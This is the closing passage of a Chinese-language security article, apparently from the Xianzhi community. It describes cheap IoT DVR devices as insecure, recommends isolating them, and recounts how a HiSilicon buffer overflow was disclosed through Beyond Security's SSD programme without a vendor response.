<http://www.divitec.ru/videoregistratoryi-divitec-idvr/>

总的来说，可以说这些廉价的物联网设备是安全噩梦。作者最近测试的每台设备都有一些严重或关键的漏洞。从测试者的角度来看，这类设备必须分开，这类设备不能与重要设备混用。

最后，必须指出，这个缓冲区溢出漏洞（利用PoC代码）已经通过Beyond Security的SecuriTeam Secure Disclosure（SSD）程序公开。供应商（HiSilicon）已于2016年底通过（Beyond Security）通知，但在漏洞公布之前没有回复（不幸的是，这是很常见的事情）。

2017年2月发布的披露信息可[在此处获取](#)。

点击收藏 | 0 关注 | 1

[上一篇：.NET高级代码审计（第四课）J...](#) [下一篇：关于安卓的调试方法（三）](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)